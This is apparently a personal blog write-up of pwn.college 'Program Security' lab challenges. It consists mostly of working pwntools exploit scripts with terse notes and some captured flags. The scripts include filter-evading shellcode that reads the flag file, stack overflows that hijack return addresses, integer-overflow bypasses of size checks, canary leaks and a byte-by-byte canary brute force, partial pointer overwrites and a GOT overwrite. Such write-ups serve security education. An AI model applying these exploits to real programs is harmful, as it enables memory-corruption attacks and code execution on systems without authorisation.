pwn.college-pro sec-_Program Security

Welcome to back

Program Security

Program Security

Shellcoding challenges

ello ackers!

shellcode must be have no ‘H’

xor? ummm,no

we can use 32-bits shellcode which without 0x48,ok,we can’t

“mov rsi,rsp “ have 0x48

mov rsi , rsp =

push rsp

pop rsi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/ello-ackers'


p = process('/challenge/ello-ackers')

shellcode = asm('''
xor eax, eax
push rax
mov dword ptr [rsp], 0x616c662f
mov byte ptr [rsp+4], 0x00000067
push rsp
pop rdi

xor esi, esi
xor edx, edx
mov eax, 2
syscall

mov edi, eax
push rsp
pop rsi
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov edi, 1
push rsp
pop rsi
mov eax, 1
syscall

mov eax, 60
xor edi, edi
syscall
''')

print(shellcode.hex())


#shellcode = bytes.fromhex(shellcode_hex)

p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

last but not least

Syscall Smuggler

ban system call?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/syscall-smuggler'


p = process('/challenge/syscall-smuggler')

shellcode = asm('''
sub rsp, 0x600
mov byte ptr [rsp+0x500], 0x0f
mov byte ptr [rsp+0x501], 0x05
mov byte ptr [rsp+0x502], 0xc3
lea rbp, [rsp+0x500]

xor eax, eax
push rax
mov dword ptr [rsp], 0x616c662f
mov byte ptr [rsp+4], 0x67
push rsp
pop rdi

xor esi, esi
xor edx, edx
mov eax, 2
call rbp

mov edi, eax
push rsp
pop rsi
mov edx, 0x100
xor eax, eax
call rbp

mov edx, eax
mov edi, 1
push rsp
pop rsi
mov eax, 1
call rbp

mov eax, 60
xor edi, edi
call rbp
''')



print(shellcode.hex())


#shellcode = bytes.fromhex(shellcode_hex)

p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

Executing shellcode!

pwn.college{0n9X6BuBUNfXiWtDy98CYodCZOW.dFjMywSNzEDO0EzW}

Syscall Shenanigans
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/syscall-shenanigans'


p = process('/challenge/syscall-shenanigans')

shellcode = asm('''
sub rsp, 0x600
mov byte ptr [rsp+0x500], 0x0f
mov byte ptr [rsp+0x501], 0x05
mov byte ptr [rsp+0x502], 0xc3
lea rbp, [rsp+0x500]

xor eax, eax
push rax
mov dword ptr [rsp], 0x616c662f
mov byte ptr [rsp+4], 0x67
push rsp
pop rdi

xor esi, esi
xor edx, edx
mov eax, 2
call rbp

mov edi, eax
push rsp
pop rsi
mov edx, 0x100
xor eax, eax
call rbp

mov edx, eax
mov edi, 1
push rsp
pop rsi
mov eax, 1
call rbp

mov eax, 60
xor edi, edi
call rbp
''')



print(shellcode.hex())


#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()


Executing shellcode!

pwn.college{AWqnDzRO-SIQzYyTYm30EtFp1Ue.dJjMywSNzEDO0EzW}

Byte Budget

pwndbg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

         Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)

    0x2e0a9000         0x2e0aa000 rwxp     1000       0 [anon_2e0a9]

good

we only have 18byte ,so first read(0, 0x2e0a9000, 0x100) ,then jmp 0x2e0a9000

and inject shellcode

0x000062f6fde2c7b5 <+590>: call 0x62f6fde2c200 <mprotect@plt>

0x000062f6fde2c7ba <+595>: test eax,eax

0x000062f6fde2c7bc <+597>: je 0x62f6fde2c7dd <main+630>

bad

we have to do all in 18byte

6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/byte-budget'


p = process('/challenge/byte-budget')

shellcode = asm('''
push 0x61
mov rdi,rsp
push 4
pop rsi
push 0x5a
pop rax
syscall
''')



print(shellcode.hex())

#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)
#p.recvuntil(b"Executing shellcode!")
#p.send(shellcode1)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

ClobberCode

This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an instruction is an INT 3

we can inject nop and jmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/clobbercode'


p = process('/challenge/clobbercode')

shellcode = asm('''
push 0x61
mov rdi,rsp
push 4
pop rsi
jmp next
.rept 0xa
nop
.endr

next:
push 0x5a
pop rax
syscall
''')



print(shellcode.hex())

#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)
#p.recvuntil(b"Executing shellcode!")
#p.send(shellcode1)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

Diverse Deilvery

b read ,rsi = 0

pwndbg> x/10wx 0x1b90c000

0x1b90c000: 0x00000000 0x00000000 0x00000000 0x00000000

0x1b90c010: 0x00000000 0x00000000 0x00000000 0x00000000

0x1b90c020: 0x00000000 0x00000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/diverse-delivery'


p = process('/challenge/diverse-delivery')

shellcode = asm('''
push 0x61
mov rdi,rsp
mov bl,4
xor esi,ebx
mov al,0x5a
syscall
''')



print(shellcode.hex())

#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)
#p.recvuntil(b"Executing shellcode!")
#p.send(shellcode1)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

hacker@program-securitydiverse-delivery:$ cat a

pwn.college{odvhbMJ9eSmWR8JDmiba-Mq6zkt.dhjMywSNzEDO0EzW}

Pocket Payload

Reading 0xc bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/pocket-payload'


p = process('/challenge/pocket-payload')

shellcode = asm('''
push 0x61
mov rdi, rsp
xor esi, 0x4
mov al, 0x5a
syscall
''')



print(shellcode.hex())

#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)
#p.recvuntil(b"Executing shellcode!")
#p.send(shellcode1)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

hacker@program-securitypocket-payload:$ cat a

pwn.college{MzwxkZERllXUBKPr89SXDrMw0-A.dljMywSNzEDO0EzW}

Micro Menace

rax=0,read

after Executing shellcode

0x1b90c000 0x1b90d000 rwxp 1000 0 [anon_1b90c]

first read ,then inject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
os.environ['PATH'] = '/usr/bin:/bin'
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

context.binary = '/challenge/micro-menace'


p = process('/challenge/micro-menace')

shellcode = asm('''
xor edi, edi
mov esi, edx
syscall
''')
shellcode1 = asm('''
.rept 0x6
nop
.endr
push 0x61
mov rdi, rsp
xor esi, 0x4
mov al, 0x5a
syscall
''')


print(shellcode.hex())

#shellcode = bytes.fromhex(shellcode_hex)

#p.recvuntil(b'Reading 0x1000 bytes from stdin.')
p.send(shellcode)

p.recvuntil(b"Executing shellcode!")
p.send(shellcode1)

out =b''
out += p.recv(timeout=2)
#if b'pwn' in out :
#break
#print(out)

print(out.decode(errors='ignore'))
print('fuck')
print(repr(out))
p.interactive()

Memory Corruption Challenges

Login Leakage (Easy)

easy

check password and call win

we can overwrite the password and inject “ps\0”

we get the start of buffer

cmp the password

obviously,password is at rbp - 0x4f0 + 0x4d5

offset=0x4d5=1237

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('/challenge/login-leakage-easy')

out=p.recvuntil(b'Payload size:')

offset = 1237
ps = b"A\x00"
nop_len = offset - len(ps)
nop = b"\x90" * nop_len

payload = ps + nop + ps
p.sendline(str(len(payload)).encode())
out+=p.recvuntil(b'Send your payload')
p.send(payload)

out += p.recvall(timeout=2)


print(out.decode(errors='replace'))
p.close()

Login Leakage (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = process('/challenge/login-leakage-hard')

out=p.recvuntil(b'Payload size:')

offset = 0xe11
ps = b"A\x00"
nop_len = offset - len(ps)
nop = b"\x90" * nop_len

payload = ps + nop + ps
p.sendline(str(len(payload)).encode())
out+=p.recvuntil(b'Send your payload')
p.send(payload)

out += p.recvall(timeout=2)


print(out.decode(errors='replace'))
p.close()

Bounds Breaker (Easy)

well

send “-1”?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
In [12]: from pwn import *                                                                      │by directly overflowing into the stored return address back to main,
...: │which is stored at 0x7fffebb65298, 136 bytes after the start of your input buffer.
...: p = process('/challenge/bounds-breaker-easy') │That means that you will need to input at least 144 bytes (115 to fill the buffer,
...: │21 to fill other stuff stored between the buffer and the return address,
...: out=p.recvuntil(b'Payload size:') │and 8 that will overwrite the return address).
...: offset = 0x88 │
...: #ps = b"A\x00" │We have disabled the following standard memory corruption mitigations for this challenge:
...: nop_len = offset │- the canary is disabled, otherwise you would corrupt it before
...: nop = b"\x90" * nop_len │overwriting the return address, and the program would abort.
...: │- the binary is *not* position independent. This means that it will be
...: payload = nop +p64( 0x402424) │located at the same spot every time it is run, which means that by
...: │analyzing the binary (using objdump or reading this output), you can
...: p.sendline(b"-1") │know the exact value that you need to overwrite the return address with.
...: out+=p.recvuntil(b'Send your payload') │
...: p.send(payload) │Payload size: 234234
...: │This challenge is more careful: it will check to make sure you
...: out += p.recvall(timeout=2) │don't want to provide so much data that the input buffer will
...: │overflow. But recall twos compliment, look at how the check is
...: │implemented, and try to beat it!
...: print(out.decode(errors='replace')) │Provided size is too large!
...: p.close()

Bounds Breaker (Hard)

Casting Catastrophe (Easy)

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
In [7]: from pwn import *
...:
...: p = process('/challenge/casting-catastrophe-easy')
...:
...: out=p.recvuntil(b'Number of payload records to send:')
...: offset = 0x38
...: #ps = b"A\x00"
...: nop_len = offset
...: nop = b"\x90" * nop_len
...:
...: payload = nop +p64( 0x401edc)
...:
...: p.sendline(b"2147483647")
...: out+=p.recvuntil(b'Size of each payload record:')
...: p.sendline(b"2147483647")
...: out+=p.recvuntil(b'Send your payload')
...: p.send(payload)
...:
...: out += p.recvall(timeout=2)
...:
...:
...: print(out.decode(errors='replace'))
...: p.close()

Casting Catastrophe (Hard)

perfect

Pointer Problems (Easy)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
In [15]: from pwn import *                                                                                                                                                                       
...: import re
...: p = process('/challenge/pointer-problems-easy')
...:
...: out=p.recvuntil(b'Payload size:')
...: flag_addr_match = re.search(br'flag\s+is\s+located\s+at\s+(0x[0-9a-f]+)', out)
...: if not flag_addr_match:
...: print("Failed to find flag address!")
...: exit(1)
...:
...: flag_addr = int(flag_addr_match.group(1), 16)
...: print(f"Flag address: {hex(flag_addr)}")
...:
...: offset = 56
...: #ps = b"A\x00"
...: nop_len = offset
...: nop = b"\x90" * nop_len
...: #gdb.attach(p)
...: payload = nop +p64( flag_addr)
...:
...: p.sendline(b"999")
...: out+=p.recvuntil(b'Send your payload')
...: p.send(payload)
...:
...: out += p.recvall(timeout=2)
...:
...:
...: print(out.decode(errors='replace'))
...: p.close()

easy

Pointer Problems (Hard)

back to easy

we find char*

buffer is at rbp-0x50

flag

return hard

flag is here

as the same , offset = 0x38

we can overwrite the low 2 byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
                                                                                                                                                                                                 
In [33]: from pwn import *
...: import re
...: p = process('/challenge/pointer-problems-hard')
...:
...: out=p.recvuntil(b'Payload size:')
...:
...: flag_addr = 0x5040
...:
...: offset = 56
...: #ps = b"A\x00"
...: nop_len = offset
...: nop = b"\x90" * nop_len
...: #gdb.attach(p)
...: #pause()
...: payload = nop +p16( flag_addr)
...:
...: p.sendline(b"999")
...: out+=p.recvuntil(b'Send your payload')
...: p.send(payload)
...:
...: out += p.recvall(timeout=2)
...:
...:
...: print(out.decode(errors='replace'))
...: p.close()

Anomalous Array (Easy)

each index is 8 byte

flag is in the stack

flag is at rbp - 0xb70

array is at rbp +0x12a*8 -0xb70 = rbp - 0x220

0x220 - 0xb70 = -2384

Anomalous Array (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
hex_strings = [
"6c6c6f632e6e7770",
"6679496f7b656765",
"70426433546a7278",
"4170374964636778",
"2e77544b34303376",
"784f4463344e5630",
"304f44457a4e5377",
"a7d577a45"
]

flag = ""
for hex_str in hex_strings:
if len(hex_str) < 16:
hex_str = hex_str.zfill(16)

bytes_data = bytes.fromhex(hex_str)
reversed_bytes = bytes_data[::-1]

for b in reversed_bytes:
if 32 <= b <= 126: # 可打印ASCII范围
flag += chr(b)
else:
flag += "."

print("Flag:", flag)

Now you got it (Easy)

disass the challenge

we can find that ,offset = (got_function_addr - (bssdata + 8)) / 8 - 0x22

Now you got it (Hard)

disass the challenge

we find that

the hacking number is at bssdata + (index + 0x1dc) * 8

so , array_base = bssdata + 0x1dc*8

index = (got_function_addr - array_base) / 8

we replace the puts

?????

After replace got.puts,the win call the puts at start and then return to win

so , we can replace win +20

pwn.college{wUhtQ9GveAmDSqCl2fhOSHa0cYI.01N4cDOxwSNzEDO0EzW}

Loop Lunacy (Easy)

we can use “N” to pass canary

return to 0x22bf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

In [55]: from pwn import *
...: #for i in range(10):
...: p = process('/challenge/loop-lunacy-easy')
...: payload = b''
...:
...: size = b'58'
...: out=p.recvuntil(b'Payload size:')
...:
...: p.sendline(size)
...: payload += b'a' * 36 +p8(55)+ p8(0xbf) +p8(0x62)
...: # payload += p64(0x4014c4)
...:
...:
...: p.sendlineafter('bytes)!', payload)
...:
...: out+=p.recvall(timeout = 2 )
...: print(out.decode())
...:
...: p.close()

Loop Lunacy (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
In [7]: from pwn import *                                                                                                                                                                        
...: #for i in range(10):
...: while 1:
...:
...:
...: p = process('/challenge/loop-lunacy-hard')
...: payload = b''
...:
...: size = b'122'
...: out=p.recvuntil(b'Payload size:')
...:
...: p.sendline(size)
...: payload += b'a' * 92 +p8(119)+ p8(0x02) +p8(0x6b)
...: # payload += p64(0x4014c4)
...:
...:
...: p.sendlineafter('bytes)!', payload)
...:
...: out+=p.recvall(timeout = 2 )
...: #print(out.decode())
...: if b'pwn' in out :
...: break
...: p.close()
...:
...: print(out.decode(errors='ignore'))

Nosy Neighbor (Easy)

easy

Nosy Neighbor (Hard)

0x0000000000002151 <+97>: lea rax,[rbp-0x140]

0x0000000000002158 <+104>: add rax,0x2a

offset = 0x2a

Recursive Ruin (Easy)

call challenge ?

good

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
In [2]: from pwn import *
...:
...:
...: while 1:
...: try:
...:
...: p = process('/challenge/recursive-ruin-easy')
...:
...:
...: p.sendlineafter(b'Payload size:', b'137')
...:
...: payload_1 = b'A' * 130 + b'REPEAT' + b'A'
...: p.sendafter(b'bytes)!', payload_1)
...:
...: p.recvuntil(b'REPEAT')
...: p.recv(1)
...: canary_parts = p.recv(7)
...: canary = u64(b'\x00' + canary_parts)
...: log.success(f"Canary: {hex(canary)}")
...:
...:
...: win_low = 0x0c99 | (random.randint(0, 15) << 12)
...:
...: p.sendlineafter(b'Payload size:', b'160')
...:
...:
...: payload_1 = b'a' * 136 + p64(canary) + b'a' * 8 + p16(win_low)
...: p.sendafter(b'bytes)!', payload_1)
...:
...: out = p.recvall(timeout=2)
...: if b'pwn' in out:
...: print(out.decode(errors='ignore'))
...: break
...:
...: p.close()
...: except:
...: p.close()
...:

Recursive Ruin (Hard)

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
In [1]: from pwn import *
...:
...:
...: while 1:
...: try:
...:
...: p = process('/challenge/recursive-ruin-hard')
...:
...:
...: p.sendlineafter(b'Payload size:', b'137')
...:
...: payload_1 = b'A' * 18 + b'REPEAT' + b'A'
...: p.sendafter(b'bytes)!', payload_1)
...:
...: p.recvuntil(b'REPEAT')
...: p.recv(1)
...: canary_parts = p.recv(7)
...: canary = u64(b'\x00' + canary_parts)
...: log.success(f"Canary: {hex(canary)}")
...:
...:
...: win_low = 0x5c77 | (random.randint(0, 15) << 12)
...:
...: p.sendlineafter(b'Payload size:', b'160')
...:
...:
...: payload_1 = b'a' * 24 + p64(canary) + b'a' * 8 + p16(win_low)
...: p.sendafter(b'bytes)!', payload_1)
...:
...: out = p.recvall(timeout=2)
...: if b'pwn' in out:
...: print(out.decode(errors='ignore'))
...: break
...:
...: p.close()
...: except:
...: p.close()

Lingering Leftover (Easy)

easy

we can leak flag in memory

Lingering Leftover (Hard)

0x1d0-0x10c=196

Latent Leak (Easy)

where’s my canary???

6

we can find canary in buffer

back to challenge_function

gdb!

canary is here!

???

good

but we haven’t repeat , there is still canary in buffer

which function calling leaked canary at 0x7fff75aa62f8 ?

over

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
In [1]: from pwn import *
...:
...:
...: while True:
...: try:
...: p = process('/challenge/latent-leak-easy')
...:
...: p.sendlineafter(b'Payload size:', b'89')
...: p.sendafter(b'bytes)!', b'REPEAT' + b'a' * 83)
...:
...: p.recvuntil(b'You said: ' + b'REPEAT' + b'a' * 83)
...: canary = u64(b'\x00' + p.recv(7))
...: log.info(f"Canary: {hex(canary)}")
...:
...: p.sendlineafter(b'Payload size:', b'999')
...:
...: payload = b'A' * 360
...: payload += p64(canary)
...: payload += b'B' * 8
...: payload += p16(0x6a3d)
...:
...: p.sendafter(b'bytes)!', payload)
...:
...: out = p.recvall(timeout=1)
...: if b'pwn' in out:
...: print(out.decode(errors='ignore'))
...: break
...: p.close()
...: except EOFError:
...: p.close()
...: continue

Latent Leak (Hard)

buffer_start is at rbp - 0x1d0 = 0x7ffce8e70290

offset = 0x7ffce8e70348 - 0x7ffce8e70290 = 184

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
In [1]: from pwn import *
...:
...: context.arch = 'amd64'
...:
...: while True:
...: try:
...: p = process('/challenge/latent-leak-hard')
...:
...: p.sendlineafter(b'Payload size:', b'185')
...: p.sendafter(b'bytes)!', b'REPEAT' + b'a' * 179)
...:
...: p.recvuntil(b'You said: ' + b'REPEAT' + b'a' * 179)
...: canary = u64(b'\x00' + p.recv(7))
...: log.info(f"Canary: {hex(canary)}")
...:
...: p.sendlineafter(b'Payload size:', b'999')
...:
...: payload = b'A' * 456
...: payload += p64(canary)
...: payload += b'B' * 8
...: payload += p16(0x69fe)
...:
...: p.sendafter(b'bytes)!', payload)
...:
...: out = p.recvall(timeout=1)
...: if b'pwn' in out:
...: print(out.decode(errors='ignore'))
...: break
...: p.close()
...: except EOFError:
...: p.close()
...: continue

Fork Foolery (Easy)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
In [3]: from pwn import *
...: context.log_level = 'warn'
...: canary = b"\x00"
...:
...: for i in range(7):
...: for b in range(256):
...: try:
...: io = remote("127.0.0.1", 1337)
...: io.recvuntil(b"Payload size:")
...: io.sendline(b'999')
...: io.recvuntil(b'bytes)!')
...:
...: payload = b"A" * 40 + canary + bytes([b])
...: io.send(payload)
...:
...: result = io.recvall(timeout=0.5)
...:
...: if b"stack smashing detected" not in result:
...: canary += bytes([b])
...: print(f"找到第{i+2} 位: {hex(b)} ")
...: io.close()
...: break
...: io.close()
...: except:
...: continue
...:
...: print(f"Canary: {canary.hex()}")
...:
...: print("NEXT")
...: x= 0x01
...: while True:
...: try:
...: io = remote("127.0.0.1", 1337)
...: io.recvuntil(b"Payload size:")
...: io.sendline(b'999')
...: io.recvuntil(b'bytes)!')
...:
...: payload = b"A" * 40 + canary + b"B" * 8 + p8(0x48) +p8(x)
...:
...:
...: io.send(payload)
...: x+=1
...: out = io.recvrepeat(timeout=1)
...:
...: if b"pwn" in out :
...:
...: print(out.decode(errors='ignore'))
...: break
...: io.close()
...: except:
...: continue

Fork Foolery (Hard)

Complex Corruption

Canary Conundrum (Easy)


pwn.college-pro sec-_Program Security
https://ghostshark-pro.github.io/2026/04/23/pwn.college-pro sec-_Program Security/
Author
shark
Posted
2026年4月23日
License